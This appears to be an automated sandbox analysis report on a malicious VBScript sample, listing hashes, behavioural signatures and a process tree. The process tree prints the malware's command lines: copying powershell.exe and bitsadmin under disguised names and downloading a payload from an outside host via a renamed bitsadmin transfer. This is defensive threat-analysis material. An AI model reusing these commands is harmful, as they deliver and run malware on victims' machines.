Analysis
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max time kernel
94s -
max time network
95s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
11-07-2024 13:27
Static task
static1
Behavioral task
behavioral1
Sample
395061c186c29da5dcee0cc9aaff80ce_JaffaCakes118.vbs
Resource
win7-20240708-en
General
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Target
395061c186c29da5dcee0cc9aaff80ce_JaffaCakes118.vbs
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Size
9KB
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MD5
395061c186c29da5dcee0cc9aaff80ce
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SHA1
daea3fafdbb98e1426e6f037a52a3fe28774d689
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SHA256
724206404ad809e13d938f14383bf5bd9beabe7afb53fbc1bcf7a73cba1aa3c2
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SHA512
920428ca5ef2f1c11b24deee6215d26fef2c1c54ae57e0041d0b2d0c2277d50dc5b5b34cd13a294622ea229c9e427de19a48dc4db7cafed4664a75f4a84c2fbb
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SSDEEP
96:eT8hI4nt7YEJn0X8Pj9ZTqeA8Tj3mfV+08lKcEGv0rrePY9voqqooRVmF8Q2:rhIOLJ0oPTqeHufV+JVsrrePsqoqVmFU
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
pid Process 3852 qISAcAuin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 3972 wrote to memory of 4924 3972 WScript.exe 84 PID 3972 wrote to memory of 4924 3972 WScript.exe 84 PID 4924 wrote to memory of 4652 4924 cmd.exe 87 PID 4924 wrote to memory of 4652 4924 cmd.exe 87 PID 4924 wrote to memory of 4452 4924 cmd.exe 88 PID 4924 wrote to memory of 4452 4924 cmd.exe 88 PID 3972 wrote to memory of 3852 3972 WScript.exe 89 PID 3972 wrote to memory of 3852 3972 WScript.exe 89 PID 3972 wrote to memory of 3852 3972 WScript.exe 89
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\395061c186c29da5dcee0cc9aaff80ce_JaffaCakes118.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3972 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aXomw.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\qISAcAu*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:4924 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aXomw.exe3⤵PID:4652
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\qISAcAu*.exe3⤵PID:4452
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C:\ProgramData\qISAcAuin.exe"C:\ProgramData\qISAcAuin.exe" /wrap /transfer XOaQFYPW https://marthayfabrizio.com/fibra/13107250154/lagos.xls C:\ProgramData\lagos.xls2⤵
- Executes dropped EXE
PID:3852
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a